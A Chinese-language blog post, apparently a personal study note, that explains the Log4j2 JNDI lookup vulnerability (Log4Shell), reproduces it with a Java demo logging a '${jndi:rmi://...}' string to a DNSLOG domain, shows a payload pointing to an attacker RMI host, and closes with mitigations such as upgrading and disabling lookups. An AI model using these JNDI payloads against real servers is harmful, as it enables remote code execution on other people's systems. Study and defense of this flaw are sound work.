c1oud
昂波利玻玻
October 27th, 2022
这暂时是关于java安全的最后一篇文章了,后面会去专注别的事情,也算对安全的学习告一段落了吧
Apache Log4j 是一个基于Java的日志记录工具。它是由Ceki Gülcü首创的,现在已经发展为Apache软件基金会的项目之一。
Apache Log4j
Java
Ceki Gülcü
经过多年的开发迭代,Log4j 1.x的维护已经变得非常困难,因为它需要与非常旧的 Java 版本兼容,所以于 2015 年 8 月正式升级为Log4j2。
Log4j 1.x
Log4j2
本次漏洞是因为Log4j2组件中 lookup功能的实现类 JndiLookup 的设计缺陷导致,这个类存在于log4j-core-xxx.jar中。先看一张图吧
Log4j2组件
lookup
JndiLookup
log4j-core-xxx.jar
意思就是只要日志中包含 ${},lookup 功能就会将表达式的内容替换为表达式解析后的内容,而不是表达式本身。log4j 2 将基本的解析都做了实现,来看个例子
${}
log4j 2
先添加maven依赖
maven
<dependency> <groupId>org.apache.logging.log4j</groupId> <artifactId>log4j-core</artifactId> <version>2.14.1</version> </dependency> <dependency> <groupId>org.apache.logging.log4j</groupId> <artifactId>log4j-api</artifactId> <version>2.14.1</version> </dependency>
先调用LogManager.getLogger()方法来获取Logger对象,接着用他的error方法打印系统信息,可以看到${}里面的内容被解析了
LogManager.getLogger()
Logger
error
贴上一张Hackt0师傅总结的可以解析的相关内容
Hackt0
${ctx:loginId} ${map:type} ${filename} ${date:MM-dd-yyyy} ${docker:containerId}${docker:containerName} ${docker:imageName} ${env:USER} ${event:Marker} ${mdc:UserId} ${java} ${jndi:logging/context-name} ${hostName} ${docker:containerId} ${k8s} ${log4j} ${main} ${name} ${marker} ${spring} ${sys:logPath} ${web:rootDir}
到这里后怎么触发更有用的漏洞呢?其实阅读log4j2的文档可以看到,他提供的lookup功能支持JNDI方式查询。并且在log4j2中JNDI解析是未做限制的,可以直接访问到远程对象。
log4j2
JNDI
那么只要日志记录的一部分是用户可控的,就可以构造恶意字符串使服务器记录日志时调用 JNDI 访问恶意对象。也就是payload流传的形式
payload
jndi:rmi://xxx.xxx.xxx.xxx:1111/exp
这里以DNSLOG生成的临时域名测试一下:http://www.dnslog.cn
DNSLOG
模拟一个用户登陆的客户端,没有对用户的输入进行限制
import org.apache.logging.log4j.LogManager; import org.apache.logging.log4j.Logger; public class log { private static final Logger logger = LogManager.getLogger(); public static void main(String[] args) { String user="${jndi:rmi://3z1rsa.dnslog.cn}"; logger.error(user + " has successfully logged in"); } }
可以看到记录日志时发起了 JNDI 解析,访问了 DNS 提供的域名并生成记录
DNS
其实 JNDI 通过 SPI(Service Provider Interface)封装了多个协议,包括 LDAP、RMI、DNS、NIS、NDS、RMI、CORBA;
SPI(Service Provider Interface)
LDAP、RMI、DNS、NIS、NDS、RMI、CORBA
搭建一个RMI服务器来看一下更真实的攻击过程
RMI服务器
先搭建个RMI服务器,搭建后把恶意文件放在另一个端口里面起个服务,然后访问后
RMI
本次漏洞的入口函数为logIfEnabled,然而如果使用了AbstractLogger.java中的debug、info、warn、error、fatal等都会触发到该函数,一步步调试后发现最后也是调用了InitialContext#lookup方法,所以本质是也是JNDI的漏洞,具体的分析可以看看别的师傅的文章:
logIfEnabled
AbstractLogger.java
debug、info、warn、error、fatal
InitialContext#lookup
http://tttang.com/archive/1378/http://blog.o3ev.cn/yy/1294#menu_index_5
关于防御最好还是升级Log4j版本以及禁用lookup功能(如果非必需的话)。
对于Oracle JDK 11.0.1、8u191、7u201、6u211或者更高版本的JDK来说,默认就已经禁用了 RMI Reference、LDAP Reference 的远程加载,但是依然可以靠本地classpath中的 ObjectFactory 实现类去进行攻击。
Oracle JDK 11.0.1、8u191、7u201、6u211
JDK
RMI Reference、LDAP Reference
classpath
ObjectFactory
log4j 在 2.15.0版本中默认关闭 lookup 功能。
log4j
2.15.0
控制日志格式对于 >=2.7的版本,在 log4j 配置文件中对每一个日志输出格式进行修改。在 %msg 占位符后面添加 {nolookups},这种方式的适用范围比其他三种配置更广。
>=2.7
%msg
{nolookups}
在配置文件 log4j2.component.properties中增加:log4j2.formatMsgNoLookups=true 。
log4j2.component.properties
log4j2.formatMsgNoLookups=true
也可以通过设置JVM系统属性,jvm 启动参数中增加 -Dlog4j2.formatMsgNoLookups=true,或者. 在 log4j 被初始化之前设置该系统属性。:System.setProperty("log4j2.formatMsgNoLookups", "true");
JVM系
jvm
在 log4j 被初始化之前设置该系统属性。
System.setProperty("log4j2.formatMsgNoLookups", "true");
前言
这暂时是关于java安全的最后一篇文章了,后面会去专注别的事情,也算对安全的学习告一段落了吧
log4j介绍
Apache Log4j
是一个基于Java
的日志记录工具。它是由Ceki Gülcü
首创的,现在已经发展为Apache软件基金会的项目之一。经过多年的开发迭代,
Log4j 1.x
的维护已经变得非常困难,因为它需要与非常旧的Java
版本兼容,所以于 2015 年 8 月正式升级为Log4j2
。漏洞原理
本次漏洞是因为
Log4j2组件
中lookup
功能的实现类JndiLookup
的设计缺陷导致,这个类存在于log4j-core-xxx.jar
中。先看一张图吧意思就是只要日志中包含
${}
,lookup
功能就会将表达式的内容替换为表达式解析后的内容,而不是表达式本身。log4j 2
将基本的解析都做了实现,来看个例子先添加
maven
依赖先调用
LogManager.getLogger()
方法来获取Logger
对象,接着用他的error
方法打印系统信息,可以看到${}
里面的内容被解析了贴上一张
Hackt0
师傅总结的可以解析的相关内容到这里后怎么触发更有用的漏洞呢?其实阅读
log4j2
的文档可以看到,他提供的lookup
功能支持JNDI
方式查询。并且在log4j2
中JNDI
解析是未做限制的,可以直接访问到远程对象。那么只要日志记录的一部分是用户可控的,就可以构造恶意字符串使服务器记录日志时调用
JNDI
访问恶意对象。也就是payload
流传的形式漏洞复现
这里以
DNSLOG
生成的临时域名测试一下:http://www.dnslog.cn模拟一个用户登陆的客户端,没有对用户的输入进行限制
可以看到记录日志时发起了
JNDI
解析,访问了DNS
提供的域名并生成记录其实
JNDI
通过SPI(Service Provider Interface)
封装了多个协议,包括LDAP、RMI、DNS、NIS、NDS、RMI、CORBA
;搭建一个
RMI服务器
来看一下更真实的攻击过程先搭建个
RMI
服务器,搭建后把恶意文件放在另一个端口里面起个服务,然后访问后总结
本次漏洞的入口函数为
logIfEnabled
,然而如果使用了AbstractLogger.java
中的debug、info、warn、error、fatal
等都会触发到该函数,一步步调试后发现最后也是调用了InitialContext#lookup
方法,所以本质是也是JNDI
的漏洞,具体的分析可以看看别的师傅的文章:http://tttang.com/archive/1378/
http://blog.o3ev.cn/yy/1294#menu_index_5
防御
关于防御最好还是升级Log4j版本以及禁用lookup功能(如果非必需的话)。
版本升级
对于
Oracle JDK 11.0.1、8u191、7u201、6u211
或者更高版本的JDK
来说,默认就已经禁用了RMI Reference、LDAP Reference
的远程加载,但是依然可以靠本地classpath
中的ObjectFactory
实现类去进行攻击。log4j
在2.15.0
版本中默认关闭lookup
功能。禁用log4j的lookup功能
控制日志格式对于
>=2.7
的版本,在log4j
配置文件中对每一个日志输出格式进行修改。在%msg
占位符后面添加{nolookups}
,这种方式的适用范围比其他三种配置更广。直接关闭 Lookup 功能
在配置文件
log4j2.component.properties
中增加:log4j2.formatMsgNoLookups=true
。也可以通过设置
JVM系
统属性,jvm
启动参数中增加 -Dlog4j2.formatMsgNoLookups=true,或者.在 log4j 被初始化之前设置该系统属性。
:System.setProperty("log4j2.formatMsgNoLookups", "true");